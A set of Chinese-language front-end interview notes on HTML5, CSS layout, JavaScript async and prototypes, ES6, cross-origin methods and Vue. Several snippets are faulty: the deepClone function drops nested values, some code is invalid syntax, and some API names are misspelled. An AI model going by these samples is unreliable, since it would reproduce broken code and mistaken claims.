前端面试问题集合

0 HTML5相关

websocket

WebSocket 使用ws或wss协议,Websocket是一个持久化的协议,相对于HTTP这种非持久的协议来说。WebSocket API最伟大之处在于服务器和客户端可以在给定的时间范围内的任意时刻,相互推送信息。WebSocket并不限于以Ajax(或XHR)方式通信,因为Ajax技术需要客户端发起请求,而WebSocket服务器和客户端可以彼此相互推送信息;XHR受到域的限制,而WebSocket允许跨域通信。

// 创建一个Socket实例
var socket = new WebSocket('ws://localhost:8080');
// 打开Socket
socket.onopen = function(event) {
  // 发送一个初始化消息
  socket.send('I am the client and I\'m listening!');
  // 监听消息
  socket.onmessage = function(event) {
    console.log('Client received a message',event);
  };
  // 监听Socket的关闭
  socket.onclose = function(event) {
    console.log('Client notified socket has closed',event);
  };
  // 关闭Socket....
  //socket.close()
};

HTML5新特性

  • 画布(Canvas) API
  • 地理(Geolocation) API
  • 音频、视频API(audio,video)
  • localStorage和sessionStorage
  • webworker, websocket
  • header,nav,footer,aside,article,section

web worker是运行在浏览器后台的js程序,他不影响主程序的运行,是另开的一个js线程,可以用这个线程执行复杂的数据操作,然后把操作结果通过postMessage传递给主线程,这样在进行复杂且耗时的操作时就不会阻塞主线程了。

一、CSS

圣杯与双飞翼布局

https://blog.csdn.net/qq_44855897/article/details/108165328

使用z-index失效的情况

父元素position是relative
元素是static定位
该元素设置了float浮动

伪元素和伪类

CSS 伪类:逻辑上存在但在文档树中却无须标识的“幽灵”分类
CSS 伪元素(:first-letter,:first-line,:after,:before)代表了某个元素的子元素,这个子元素虽然在逻辑上存在,但却并不实际存在于文档树中。
CSS3标准要求伪元素使用双冒号

伪类用于当已有元素处于的某个状态时,为其添加对应的样式,这个状态是根据用户行为而动态变化的。

a:link
:first-child
:nth-child
:focus
:visited

伪元素代表了某个元素的子元素,这个子元素虽然在逻辑上存在,但却并不实际存在于文档树中。

清除float浮动

清除浮动的几种方式

.parent{
    zoom:1;
}
.parent:after{
    content:"";
    clear:both;
    display: block;
    visibility: hidden;
}

垂直居中

CSS实现垂直居中的常用方法: https://www.cnblogs.com/yugege/p/5246652.html
CSS垂直居中的8种方法:https://www.cnblogs.com/clj2017/p/9293363.html

box-sizing盒模型

[图片上传失败...(image-60d6b5-1608815190245)]

box-sizing属性主要用来控制元素的盒模型的解析模式。默认值是content-box。

  • content-box:让元素维持W3C的标准盒模型。元素的宽度/高度由border + padding + content的宽度/高度决定,设置width/height属性指的是content部分的宽/高

  • border-box:让元素维持IE传统盒模型(IE6以下版本和IE6~7的怪异模式)。设置width/height属性指的是border + padding + content

  • 应用场景:统一风格的表单元素
    表单中有一些input元素其实还是展现的是传统IE盒模型,带有一些默认的样式,而且在不同平台或者浏览器下的表现不一,造成了表单展现的差异。此时我们可以通过box-sizing属性来构建一个风格统一的表单元素。

水平垂直居中的方法

行内布局

line-height + text-align
vertical-align + text-align

块布局

position absolute + margin auto
position absolute + negative margin
position absolute + translate(-50%, -50%)

父容器子容器不确定宽高的块级元素,做上下居中

1.flex

#wrap{
    display:flex;
    justify-content:center;
    align-items:center;
}

2.tabel

.parent {
   text-align: center;//水平居中
   display: table-cell;
   vertical-align: middle;//垂直居中
}
.child {
    display: inline-block;//防止块级元素宽度独占一行,内联元素可不设置
}

3.absolute+transform 水平垂直居中

Demo

4.webkit-box

//对父级���素设置
position: relative;
display: -webkit-box;
-webkit-box-align: center;
-webkit-box-pack: center;

for detail: https://github.com/hawx1993/tech-blog/issues/12

一个不知道高度和宽度的盒子如何水平垂直居中

https://blog.csdn.net/qq_36947128/article/details/80307335
1.已知宽度,高度,水平居中
水平居中,需要最外层盒子固定宽度,里面div转化为block,在给一个margin:0 auto 就可以水平居中了

2.已知宽度,高度,垂直居中
垂直居中,需要外面盒子给个position:relative 里面的div需要绝对定位,其中top,left分别设置为50%,margin-let,margin-top设置为宽度和高度的负一半

3 不知道盒子宽度高度
(1) 设置 父元素的display:table 设置子元素的display:table-cell 即可
(2) 使用display:flex布局 设置justify-content: center;
(3) 使用position:absolute ,transform

    

你好你好

实现左边定宽右边自适应效果

1.table(父级元素)与tabel-cell(两个子集元素)

2.flex(父级元素)+flex :1(右边子元素)

3.左边定宽,并且左浮动;右边设置距离左边的宽度

4.左边定宽,左边设置position:absolute;右边设置距离左边的宽度

三列布局(中间固定两边自适应宽度)

  1. 采用浮动布局(左边左浮动,右边右浮动,中间margin:0 宽度值)
  2. 绝对定位方式(左右绝对定位,左边left0右边right0,中间上同)

BFC(Block Formatting Contexts)块级格式化上下文

块格式化上下文(block formatting context) 是页面上的一个独立的渲染区域,容器里面的子元素不会在布局上影响到外面的元素。它是决定块盒子的布局及浮动元素相互影响的一个因素。

下列情况将创建一个块格式化上下文:

① float

② overflow

③ display(display为inline-block、table-cell)

④ position(absolute 或 fixed)

BFC的作用

1.清除内部浮动:对子元素设置浮动后,父元素会发生高度塌陷,也就是父元素的高度变为0。解决这个问题,只需要把把父元素变成一个BFC就行了。常用的办法是给父元素设置overflow:hidden。

2.上下margin重合问题,可以通过触发BFC来解决

清除浮动元素的方法和各自的优缺点

清除浮动,实际上是清除父元素的高度塌陷。因为子元素脱离了父元素的文档流,所以,父元素失去了高度,导致了塌陷。要解决这个问题,就是让父元素具有高度。

浮动元素的特性:
在正常布局中位于该浮动元素之下的内容,此时会围绕着浮动元素,填满其右侧的空间。浮动到右侧的元素,其他内容将从左侧环绕它(浮动元素影响的不仅是自己,它会影响周围的元素对其进行环绕。float仍会占据其位置,position:absolute不占用页面空间 会有重叠问题 )

1.在浮动元素末尾添加空标签清除浮动 clear:both (缺点:增加无意义标签)

2.给父元素设置 overflow:auto属性
3.after伪元素

动画

用js来实现动画,我们一般是借助setTimeout或setInterval这两个函数,以及新的requestAnimationFrame

css3使用

  • @keyframes 结合animation
  • transition:property duration timing-function delay

css实现自适应正方形

  • 方案一:CSS3 vw 单位
  • 方案二:设置垂直方向的padding撑开容器
  • 方案三:利用伪元素的 margin(padding)-top 撑开容器

position的值

  • absolute :生成绝对定位的元素, 相对于最近一级的 定位不是 static 的父元素来进行定位。
  • fixed (老IE不支持)生成绝对定位的元素,通常相对于浏览器窗口或 frame 进行定位。
  • relative 生成相对定位的元素,相对于其在普通流中的位置进行定位。
  • static 默认值。没有定位,元素出现在正常的流中
  • sticky 生成粘性定位的元素,容器的位置根据正常文档流计算得出

8.css选择器优先级,从左解析还是从右解析

CSS选择器的读取顺序是从右向左。https://www.jianshu.com/p/aa53ce8a4556

二、JS

闭包

特性:
1.函数嵌套函数
2.函数内部可以引用外部的参数和变量
3.参数和变量不会被垃圾回收机制回收

闭包的缺点就是常驻内存,会增大内存使用量,使用不当很容易造成内存泄露。

为什么要使用闭包:

为了设计私有方法和变量,避免全局变量污染
希望一个变量长期驻扎在内存中

view detail: https://segmentfault.com/a/1190000000652891

异步相关

async,Promise,Generator函数,co函数库区别

async...await写法最简洁,最符合语义。async/await让异步代码看起来、表现起来更像同步代码,这正是其威力所在。async 函数就是 Generator 函数的语法糖,只不过async内置了自动执行器。async 函数就是将 Generator 函数的星号(*)替换成 async,将 yield 替换成 await

async函数优点

1) Generator 函数必须靠执行器,所以才有CO函数库,async函数自带执行器
2)更好的语义
3)更广的适用性。co函数库yield后面只能是Thunk函数或者Promise对象,await后面可以跟Promise对象和原始类型值(等同于同步操作)

Generator 函数:可以把它理解成一个函数的内部状态的遍历器,Generator重点在解决异步回调金字塔问题,巧妙的使用它可以写出看起来同步的代码。

co函数库

co可以说是给generator增加了promise实现。co是利用Generator的方式实现了async/await(co返回Promise对象,async也返回Promise对象,co内部的generator函数即async,yield相当于await)

co 函数库其实就是将两种自动执行器(Thunk 函数和 Promise 对象),包装成一个库。

co函数接收一个Generator生成器函数作为参数。执行co函数的时候,生成器函数内部的逻辑像async函数调用时一样被执行。不同之处只是这里的await变成了yield(产出)。

co(function* () {
  var result = yield Promise.resolve(true);
  return result;
}).then(function (value) {
  console.log(value);
}, function (err) {
  console.error(err.stack);
});

Promise 是异步编程的一种解决方案,比传统的解决方案——回调函数和事件监听——更合理和更强大。
promise catch函数和then第二个函数参数:

promise.catch();
// 等价于
promise.then(null, function(reason){});

有许多场景是异步的:
1.事件监听,如click,onload等事件
2.定时器 setTimeout和setInterval
3.ajax请求

js异步编程模型(es5):

  • 回调函数(callback)陷入回调地狱,解耦程度特别低
  • 事件监听(Listener)JS 和浏览器提供的原生方法基本都是基于事件触发机制的
  • 发布/订阅(观察者模式)把事件全部交给控制器管理,可以完全掌握事件被订阅的次数,以及订阅者的信息,管理起来特别方便。
  • Promise 对象实现方式

async函数与Promise、Generator函数一样,是用来取代回调函数、解决异步操作的一种方法。它本质上是Generator函数的语法糖。
Promise,generator/yield,await/async 都是现在和未来 JS 解决异步的标准做法

Javascript运行机制 (EventLoop/宏任务/微任务)

宏任务 or 微任务
这里需要注意的是new Promise是会进入到主线程中立刻执行,而promise.then则属于微任务

宏任务(macro-task):整体代码script、setTimeOut、setInterval
微任务(mincro-task):promise.then、promise.nextTick(node)

5.Event Loop事件循环
a,整体的script(作为第一个宏任务)开始执行的时候,会把所有代码分为两部分:“同步任务”、“异步任务”;
b,同步任务会直接进入主线程依次执行;
c,异步任务会再分为宏任务和微任务;
d,宏任务进入到Event Table中,并在里面注册回调函数,每当指定的事件完成时,Event Table会将这个函数移到Event Queue中;
e,微任务也会进入到另一个Event Table中,并在里面注册回调函数,每当指定的事件完成时,Event Table会将这个函数移到Event Queue中;
f,当主线程内的任务执行完毕,主线程为空时,会检查微任务的Event Queue,如果有任务,就全部执行,如果没有就执行下一个宏任务;
上述过程会不断重复,这就是Event Loop事件循环;

JavaScript的单线程,与它的用途有关。作为浏览器脚本语言,JavaScript的主要用途是与用户互动,以及操作DOM。这决定了它只能是单线程,否则会带来很复杂的同步问题。比如,假定JavaScript同时有两个线程,一个线程在某个DOM节点上添加内容,另一个线程删除了这个节点,这时浏览器应该以哪个线程为准?

原生DOM操作和事件相关

  • 如需替换 HTML DOM 中的元素,请使用replaceChild(newnode,oldnode)方法
  • 从父元素中删除子元素 parent.removeChild(child);
  • insertBefore(newItem,existingItem) 在指定的已有子节点之前插入新的子节点
  • appendChild(newListItem向元素添加新的子节点,作为最后一个子节点
    document.documentElement - 全部文档
    document.body - 文档的主体

http://www.w3school.com.cn/jsref/dom_obj_all.asp

  • JS事件:target与currentTarget区别

target在事件流的目标阶段;currentTarget在事件流的捕获,目标及冒泡阶段。只有当事件流处在目标阶段的时候,两个的指向才是一样的, 而当处于捕获和冒泡阶段的时候,target指向被单击的对象而currentTarget指向当前事件活动的对象(一般为父级)。

事件模型

事件捕捉阶段:事件开始由顶层对象触发,然后逐级向下传播,直到目标的元素;
处于目标阶段:处在绑定事件的元素上;
事件冒泡阶段:事件由具体的元素先接收,然后逐级向上传播,直到不具体的元素;

  • 阻止 冒泡/捕获 event.stopPropagation()和IE的event.cancelBubble=true

  • DOM事件绑定
    1.绑定事件监听函数:addEventListener和attchEvent
    2.在JavaScript代码中绑定:获取DOM元素 dom.onlick = fn
    3.在DOM元素中直接绑定:

DOM事件流包括三个阶段:事件捕获阶段、处于目标阶段、事件冒泡阶段。首先发生的事件捕获,为截获事件提供机会。然后是实际的目标接受事件。最后一个阶段是时间冒泡阶段,可以在这个阶段对事件做出响应。

事件委托

因为事件具有冒泡机制,因此我们可以利用冒泡的原理,把事件加到父级上,触发执行效果。这样做的好处当然就是提高性能了

最重要的是通过event.target.nodeName判断子元素

  • 1
  • 2
  • 3
  • 4
window.onload = function () { var aUl = document.getElementsById("bubble"); var aLi = aUl.getElementsByTagName("li"); //不管在哪个事件中,只要你操作的那个元素就是事件源。 // ie:window.event.srcElement // 标准下:event.target aUl.onmouseover = function (ev) { var ev = ev || window.event; var target = ev.target || ev.srcElement; if(target.nodeName.toLowerCase() == "li"){ target.style.background = "blue"; } }; };

== 和===的区别

相等运算符在比较相同类型的数据时,与严格相等运算符完全一样。

在比较不同类型的数据时,相等运算符会先将数据进行类型转换,然后再用严格相等运算符比较。

数组的遍历方式有哪些

https://blog.csdn.net/weixin_42733155/article/details/105315040
for in ,for of ,forEach,map,filter

对象的遍历方式

https://www.cnblogs.com/secretAngel/p/9700892.html
1.js对象 用for in遍历 如:for(let item in st){ console.log(item) } // 返回的是键也是就是属性名。

如果要返回的是键值,则 for(let item in st ) { console.log(st[item]) } // 此时依次输出键值

2.数组对象用for of 遍历时 for(let item of arr){} // 返回为值。

3.Set 对象用for of 遍历时 for(let item of arr){} // 返回为可以说是键也可以说是值 因为他的键和值 是一样的。

Set实例对象的values() keys()方法遍历返回的都是一样的,原因是Set实例键名和键值是一样的,,假设arr为Set对象的实例,如下:

 for(let item of arr.keys()) {} // 遍历返回键名

 for(let item of arr.values()) {} // 遍历返回键值

 for(let item of arr.entries()) {} // 返回键值对组成的数组,如:['key', 'value']

4.Map对象用for of 遍历时 for(let item of arr){} // 返回为键值对的数组。

什么是类数组对象,如何将类数组对象转为真正的数组

拥有length属性和若干索引属性的对象,
类数组只有索引值和长度,没有数组的各种方法,所以如果要类数组调用数组的方法,就需要使用 Array.prototype.method.call 来实现。

var arrayLike = {0: 'name', 1: 'age', 2: 'sex', length: 3 }
// 1. slice
Array.prototype.slice.call(arrayLike); // ["name", "age", "sex"]
// 2. splice
Array.prototype.splice.call(arrayLike, 0); // ["name", "age", "sex"]
// 3. ES6 Array.from
Array.from(arrayLike); // ["name", "age", "sex"]
// 4. apply
Array.prototype.concat.apply([], arrayLike)

new操作符具体做了什么

1、创建一个空对象,并且this变量引用该对象,同时继承了该函数的原型(实例对象通过__proto__属性指向原型对象;obj.__proto__ = Base.prototype;
2、属性和方法被加入到 this 引用的对象中。

function Animal(name) {
    this.name = name;
}

Animal.prototype.run = function() {
    console.log(this.name + 'can run...');
}

var cat = new Animal('cat');
//模拟过程
new Animal('cat')=function(){
    let obj={};  //创建一个空对象
    obj.__proto__=Animal.prototype;
    //把该对象的原型指向构造函数的原型对象,就建立起原型了:obj->Animal.prototype->Object.prototype->null
    return Animal.call(obj,'cat');// 绑定this到实例化的对象上
}

怎样捕获全站的错误

监听window点error事件

window.onerror = function (event, source, line, col, err) {
  console.log(event, '\n', source, '\n', line, '\n', col, '\n', err)
}
const a = 1;
a = 0;
//  Uncaught TypeError: Assignment to constant variable.
//  http://127.0.0.1:5500/test.html
//  16
//  7
//  TypeError: Assignment to constant variable.

bind返回什么

bind() 方法会返回一个新函数, 又叫绑定函数, 当调用这个绑定函数时, 绑定函数会以创建它时传入 bind() 方法的第一个参数作为当前的上下文, 即this, 传入 bind() 方法的第二个及之后的参数加上绑定函数运行时自身的参数按照顺序作为原函数的参数来调用原函数.

var x = 8;
var o = {
  x: 10,
  getX: function(){
    console.log(this.x);
  }
};
var f = o.getX;
f();//8, 由于没有绑定执行时的上下文, this默认指向window, 打印了全局变量x的值
var g = f.bind(o);
g();//10, 绑定this后, 成功的打印了o对象的x属性的值.

promise的三种状态与链式调用

https://www.jianshu.com/p/dc61ea153874
promise的三种状态和基础使用
promise有三种状态:pending/reslove/reject 。pending就是未决,resolve可以理解为成功,reject可以理解为拒绝。

Promise实现原理

现在回顾下Promise的实现过程,其主要使用了设计模式中的观察者模式:

  • 通过Promise.prototype.thenPromise.prototype.catch方法将观察者方法注册到被观察者Promise对象中,同时返回一个新的Promise对象,以便可以链式调用。

  • 被观察者管理内部pending、fulfilled和rejected的状态转变,同时通过构造函数中传递的resolve和reject方法以主动触发状态转变和通知观察者。

Promise.then()是异步调用的,这也是Promise设计上规定的,其原因在于同步调用和异步调用同时存在会导致混乱。

为了暂停当前的 promise,或者要它等待另一个 promise 完成,只需要简单地在 then() 函数中返回另一个 promise。

Promise 也有一些缺点。首先,无法取消 Promise,一旦新建它就会立即执行,无法中途取消。其次,如果不设置回调函数,Promise 内部抛出的错误,不会反应到外部。第三,当处于 Pending 状态时,无法得知目前进展到哪一个阶段(刚刚开始还是即将完成)。

一般来说,不要在then方法里面定义Reject状态的回调函数(即then的第二个参数),总是使用catch方法,理由是更接近同步的写法。
then的第二个函数参数和catch等价

  • Promise.all和Promise.race的区别?

Promise.all 把多个promise实例当成一个promise实例,当这些实例的状态都发生改变时才会返回一个新的promise实例,才会执行then方法。
Promise.race 只要该数组中的 Promise 对象的状态发生变化(无论是resolve还是reject)该方法都会返回。

事件循环

浏览器中, js引擎线程会循环从 任务队列 中读取事件并且执行, 这种运行机制称作 Event Loop (事件循环).

每个浏览器环境,至多有一个event loop。
一个event loop可以有1个或多个task queue(任务队列)

先执行同步的代码,然后js会跑去消息队列中执行异步的代码,异步完成后,再轮到回调函数,然后是去下个事件循环中执行setTimeout

它从script(整体代码)开始第一次循环。之后全局上下文进入函数调用栈。直到调用栈清空(只剩全局),然后执行所有的micro-task。当所有可执行的micro-task执行完毕之后。循环再次从macro-task开始,找到其中一个任务队列执行完毕,然后再执行所有的micro-task,这样一直循环下去。

从规范上来讲,setTimeout有一个4ms的最短时间,也就是说不管你设定多少,反正最少都要间隔4ms才运行里面的回调。而Promise的异步没有这个问题。Promise所在的那个异步队列优先级要高一些
Promise是异步的,是指他的then()和catch()方法,Promise本身还是同步的
Promise的任务会在当前事件循环末尾中执行,而setTimeout中的任务是在下一次事件循环执行

//依次输出 12354
setTimeout(function(){
  console.log(4)
  },0);
new Promise(function(resolve){
  console.log(1)
  for( var i=0 ; i<10000 ; i++ ){
    i===9999 && resolve()
  }
  console.log(2)
}).then(function(){
  console.log(5)
});
console.log(3);

什么是原型链

当从一个对象那里调取属性或方法时,如果该对象自身不存在这样的属性或方法,就会去自己关联的prototype对象那里寻找,如果prototype没有,就会去prototype关联的前辈prototype那里寻找,如果再没有则继续查找Prototype.Prototype引用的对象,依次类推,直到Prototype.….Prototype为undefined(Object的Prototype就是undefined)从而形成了所谓的“原型链”。

其中foo是Function对象的实例。而Function的原型对象同时又是Object的实例。这样就构成了一条原型链。

instanceof 确定原型和实例之间的关系

用来判断某个构造函数的prototype属性是否存在另外一个要检测对象的原型链上

对象的__proto__指向自己构造函数的prototype。obj.__proto__.__proto__...的原型链由此产生,包括我们的操作符instanceof正是通过探测obj.__proto__.__proto__... === Constructor.prototype来验证obj是否是Constructor的实例。

function C(){}

var o = new C(){}
//true 因为Object.getPrototypeOf(o) === C.prototype
o instanceof C

instanceof只能用来判断对象和函数,不能用来判断字符串和数字

isPrototypeOf

用于测试一个对象是否存在于另一个对象的原型链上。

判断父级对象 可检查整个原型链

ES6相关

ES6 module和require/exports/module.exports的区别

ES6 Module 中导入模块的属性或者方法是强绑定的,包括基础类型;而 CommonJS 则是普通的值传递或者引用传递。

CommonJS模块是运行时的,导入导出是通过值的复制来达成的。ES6的模块是静态的,导入导出实际上是建立符号的映射

import必须放在文件最顶部,require不需要;import最终会被babel编译为require

深拷贝

function deepClone(content) {
    if (typeof content !== 'object') return
    const res = Array.isArray(content) ? [] : {}
    for (let key in content) {
        let tmp = content[key]
        if (typeof tmp === 'object') {
            deepClone(tmp)
        } else {
            res[key] = tmp
        }
    }
    return res
}

谈一谈let与var和const的区别?

  • let为ES6新添加申明变量的命令,它类似于var,但是有以下不同:
  • let命令不存在变量提升,如果在let前使用,会导致报错
  • 暂时性死区的本质,其实还是块级作用域必须“先声明后使用”的性质。
  • let,const和class声明的全局变量不是全局对象的属性。

const声明的变量与let声明的变量类似,它们的不同之处在于,const声明的变量只可以在声明时赋值,不可随意修改,否则会导致SyntaxError(语法错误)。

const只是保证变量名指向的地址不变,并不保证该地址的数据不变。const可以在多个模块间共享
let 暂时性死区的原因:var 会变量提升,let 不会。

箭头函数

箭头函数不属于普通的 function,所以没有独立的上下文。箭头函数体内的this对象,就是定义时所在的对象,而不是使用时所在的对象。
由于箭头函数没有自己的this,函数对象中的call、apply、bind三个方法,无法"覆盖"箭头函数中的this值。
箭头函数没有原本(传统)的函数有的隐藏arguments对象。
箭头函数不能当作generators使用,使用yield会产生错误。
箭头函数不能用作构造器,不能和new一起使用
箭头函数没有原型属性

在以下场景中不要使用箭头函数去定义:

  • 定义对象方法、定义原型方法、定义构造函数、定义事件回调函数。
  • 箭头函数里不但没有 this,也没有 arguments, super ……

箭头函数this的指向问题

箭头函数在自己的作用域内没有自己的 this,如果要使用 this ,就会指向定义时所在的作用域的 this 值。
作为方法的箭头函数this指向全局window对象,而普通函数则指向调用它的对象

箭头函数和普通函数的区别如下。
普通函数:根据调用我的人(谁调用我,我的this就指向谁)
箭头函数:根据所在的环境(我再哪个环境中,this就指向谁)

一针见血式总结:
一、普通函数中的this:

  1. this总是代表它的直接调用者(js的this是执行上下文), 例如 obj.func ,那么func中的this就是obj
    2.在默认情况(非严格模式下,未使用 'use strict'),没找到直接调用者,则this指的是 window (常见的window的属性和方法有:alert, location,document,parseInt,setTimeout,setInterval等)(约定俗成)
    3.在严格模式下,没有直接调用者的函数中的this是 undefined
    4.使用call,apply,bind(ES5新增)绑定的,this指的是 绑定的对象

二、箭头函数中的this:
箭头函数没有自己的this, 它的this是继承而来; 默认指向在定义它时所处的对象(宿主对象),而不是执行时的对象, 定义它的时候,可能环境是window; 箭头函数可以方便地让我们在 setTimeout ,setInterval中方便的使用this
要整明白这些, 我们需要首先了解一下作用域链:
当在函数中使用一个变量的时候,首先在本函数内部查找该变量,如果找不到则找其父级函数,最后直到window,全局变量默认挂载在window对象下

Symbol,Map和Set

Map 对象保存键值对。一个对象的键只能是字符串或者 Symbols,但一个 Map 的键可以是任意值。
Set 对象允许你存储任何类型的唯一值,Set对象是值的集合,Set中的元素只会出现一次
Symbol 是一种特殊的、不可变的数据类型,可以作为对象属性的标识符使用(Symbol([description]) )

let mySet = new Set()
mySet.add(1)
mySet.add('hello')
mySet.add('hello')
console.log(mySet.size);//2
console.log(mySet);//Set {1,'hello'}

//Map保存键值对也不能有重复的
let myMap = new Map();
let key1 = 'China',key2 = 'America';
myMap.set(key1,'welcome')
myMap.set(key2,'gold bless you')
console.log(myMap);//Map { 'China' => 'welcome', 'America' => 'gold bless you' }
console.log(myMap.get(key1));//welcome
console.log(myMap.get(key2));//gold bless you

let mySymbol = Symbol('symbol1');
let mySymbol2 = Symbol('symbol1');
console.log(mySymbol == mySymbol2);//false
//Symbols 在 for...in 迭代中不可枚举。
let obj = {}
obj['c'] = 'c'
obj.d ='d'
obj[Symbol('a')] = 'a'
obj[Symbol.for('b')] = 'b'
for(let k in obj){
    console.log(k);//logs 'c' and 'd'
}

for...of可以用来遍历数组,类数组对象,argument,字符串,Map和Set,for...in用来遍历对象

apply, call和bind有什么区别?

参考答案:三者都可以把一个函数应用到其他对象上,call、apply是修改函数的作用域(修改this指向),并且立即执行,而bind是返回了一个新的函数,不是立即执行.
apply和call的区别是apply接受数组作为参数,而call是接受逗号分隔的无限多个参数列表。

跨域

script、image、iframe的src都不受同源策略的影响。

  1. JSONP,回调函数+数据就是 JSON With Padding,简单、易部署。(做法:动态插入script标签,设置其src属性指向提供JSONP服务的URL地址,查询字符串中加入 callback 指定回调函数,返回的 JSON 被包裹在回调函数中以字符串的形式被返回,需将script标签插入body底部)。缺点是只支持GET,不支持POST(原因是通过地址栏传参所以只能使用GET)
  2. document.domain 跨子域 ( 例如a.qq.com嵌套一个b.qq.com的iframe ,如果a.qq.com设置document.domain为qq.com 。b.qq.com设置document.domain为qq.com, 那么他俩就能互相通信了,不受跨域限制了。 注意:只能跨子域)
  3. window.name + iframe ==> http://www.tuicool.com/articles/viMFbqV,支持跨主域。不支持POST
  4. HTML5的postMessage()方法允许来自不同源的脚本采用异步方式进行有限的通信,可以实现跨文本档、多窗口、跨域消息传递。适用于不同窗口iframe之间的跨域
  5. CORS(Cross Origin Resource Share)对方服务端设置响应头
  6. 服务端代理
    在浏览器客户端不能跨域访问,而服务器端调用HTTP接口只是使用HTTP协议,不会执行JS脚本,不需要同源策略,也就没有跨越问题。简单地说,就是浏览器不能跨域,后台服务器可以跨域。(一种是通过http-proxy-middleware插件设置后端代理;另一种是通过使用http模块发出请求)

CORS请求默认不发送Cookie和HTTP认证信息。如果要把Cookie发到服务器,一方面要服务器同意,指定Access-Control-Allow-Credentials字段。

说说你对作用域链的理解

作用域链的作用是保证执行环境里有权访问的变量和函数是有序的,作用域链的变量只能向上访问,变量访问到window对象即被终止,作用域链向下访问变量是不被允许的。

js继承方式及其优缺点

  • 原型链继承的缺点

一是字面量重写原型会中断关系,使用引用类型的原型,并且子类型还无法给超类型传递参数。

  • 借用构造函数(类式继承)

借用构造函数虽然解决了刚才两种问题,但没有原型,则复用无从谈起。所以我们需要原型链+借用构造函数的模式,这种模式称为组合继承

  • 组合式继承

组合式继承是比较常用的一种继承方法,其背后的思路是 使用原型链实现对原型属性和方法的继承,而通过借用构造函数来实现对实例属性的继承。这样,既通过在原型上定义方法实现了函数复用,又保证每个实例都有它自己的属性。

For detail:JavaScript继承方式详解

Object.keys()和for in区别

function Person(name, age) {
  this.name = name;
  this.age = age;
}
Person.prototype.hobbies = ['eat'];
let p = new Person;
// 不遍历原型上的属性
console.log(Object.keys(p));// [ 'name', 'age' ]
// 可遍历原型链上的可枚举属性
for (let item in p) {
  console.log(item);// name age hobbies
}

map和forEach区别

map可以用来遍历并返回一个由return值组成的新数组,forEach只用来遍历,返回值为undefined

let arr = [1, 2, 3];
let newArr = arr.forEach(function (item, index) {
  return item * item;
});
console.log(arr, newArr);// [ 1, 2, 3 ] undefined
 
arr = [1, 2, 3];
newArr = arr.map(function (item, index) {
  return item * item;
});
console.log(arr, newArr);// [ 1, 2, 3 ] [ 1, 4, 9 ]

fetch和Ajax有什么不同

XMLHttpRequest 是一个设计粗糙的 API,不符合关注分离(Separation of Concerns)的原则,配置和调用方式非常混乱,而且基于事件的异步模型写起来也没有现代的 Promise,generator/yieldasync/await 友好。

fetch 是浏览器提供的一个新的 web API,它用来代替 Ajax(XMLHttpRequest),其提供了更优雅的接口,更灵活强大的功能。
Fetch 优点主要有:

  • 语法简洁,更加语义化
  • 基于标准 Promise 实现,支持 async/await
fetch(url).then(response => response.json())
  .then(data => console.log(data))
  .catch(e => console.log("Oops, error", e))

ajax请求和原理

var xhr = new XMLHTTPRequest();
// 请求 method 和 URI
xhr.open('GET', url);
// 请求内容
xhr.send();
// 响应状态
xhr.status
// xhr 对象的事件响应
xhr.onreadystatechange = function() {}
xhr.readyState
// 响应内容
xhr.responseText
  • AJAX的工作原理

Ajax的工作原理相当于在用户和服务器之间加了—个中间层(AJAX引擎),使用户操作与服务器响应异步化。 Ajax的原理简单来说通过XmlHttpRequest对象来向服务器发异步请求,从服务器获得数据,然后用javascript来操作DOM而更新页面。

  • ajax优缺点

优点:无刷新更新数据
异步与服务器通信
前后端负载均衡

缺点:

1)ajax干掉了Back和history功能,对浏览器机制的破坏
2)对搜索引擎支持较弱
3)违背了URI和资源定位的初衷

三、VUE

两种实现前端路由的方式

HTML5 History两个新增的API:history.pushState 和 history.replaceState,两个 API 都会操作浏览器的历史记录,而不会引起页面的刷新。

Hash就是url 中看到 # ,我们需要一个根据监听哈希变化触发的事件( hashchange) 事件。我们用 window.location 处理哈希的改变时不会重新渲染页面,而是当作新页面加到历史记录中,这样我们跳转页面就可以在 hashchange 事件中注册 ajax 从而改变页面内容。
可以为hash的改变添加监听事件:

window.addEventListener("hashchange", funcRef, false)
  • 优点

从性能和用户体验的层面来比较的话,后端路由每次访问一个新页面的时候都要向服务器发送请求,然后服务器再响应请求,这个过程肯定会有延迟。而前端路由在访问一个新页面的时候仅仅是变换了一下路径而已,没有了网络延迟,对于用户体验来说会有相当大的提升。

前端路由的优点有很多,比如页面持久性,像大部分音乐网站,你都可以在播放歌曲的同时,跳转到别的页面而音乐没有中断,再比如前后端彻底分离。
开发一个前端路由,主要考虑到页面的可插拔、页面的生命周期、内存管理等。

  • 缺点

使用浏览器的前进,后退键的时候会重新发送请求,没有合理地利用缓存。

History interface提供了两个新的方法:pushState(), replaceState()使得我们可以对浏览器历史记录栈进行修改:

window.history.pushState(stateObject, title, URL)
window.history.replaceState(stateObject, title, URL)
  • history部署会出现的问题
try_files $uri $uri/ @router; # 需要指向下面的@router否则会出现vue的路由在nginx中刷新出现404

vuex作用

vuex是一个专门为vue.js应用程序开发的状态管理模式
vuex可以帮助我们管理共享状态,也就是管理全局变量

vuex的几个核心概念:
vuex使用一个store对象管理应用的状态,一个store包括:state,getter,mutation,action四个属性
state:state意为'状态',是vuex状态管理的数据源
getter:getter的作用与filters有一些相似,可以将state进行过滤后输出
mutation:mutation是vuex中改变state的唯一途径,并且只能同步操作
action:一些对state的异步操作可以放在action中,并通过在action提交mutaion变更状态
module:当store对象过于庞大时,可以根据具体的业务需求分为多个module

我们可以在组件中触发 Action,Action 则会提交 Mutation,Mutaion 会对 State 进行修改,组件再根据 State 、Getter 渲染页面

vue 双向绑定底层实现原理

vue.js 采用数据劫持的方式,结合发布者-订阅者模式,通过Object.defineProperty()来劫持各个属性的setter,getter以监听属性的变动,在数据变动时发布消息给订阅者,触发相应的监听回调:

https://github.com/hawx1993/tech-blog/issues/11

vue 虚拟DOM和react 虚拟DOM的区别

在渲染过程中,会跟踪每一个组件的依赖关系,不需要重新渲染整个组件树。而对于React而言,每当应用的状态被改变时,全部子组件都会重新渲染。
在 React 应用中,当某个组件的状态发生变化时,它会以该组件为根,重新渲染整个组件子树。
如要避免不必要的子组件的重新渲染,你需要在所有可能的地方使用 PureComponent,或是手动实现shouldComponentUpdate 方法

在React中,数据流是自上而下单向的从父节点传递到子节点,所以组件是简单且容易把握的,子组件只需要从父节点提供的props中获取数据并渲染即可。如果顶层组件的某个prop改变了,React会递归地向下遍历整棵组件树,重新渲染所有使用这个属性的组件。

v-show和v-if区别

与v-if不同的是,无论v-show的值为true或false,元素都会存在于HTML代码中;而只有当v-if的值为true,元素才会存在于HTML代码中

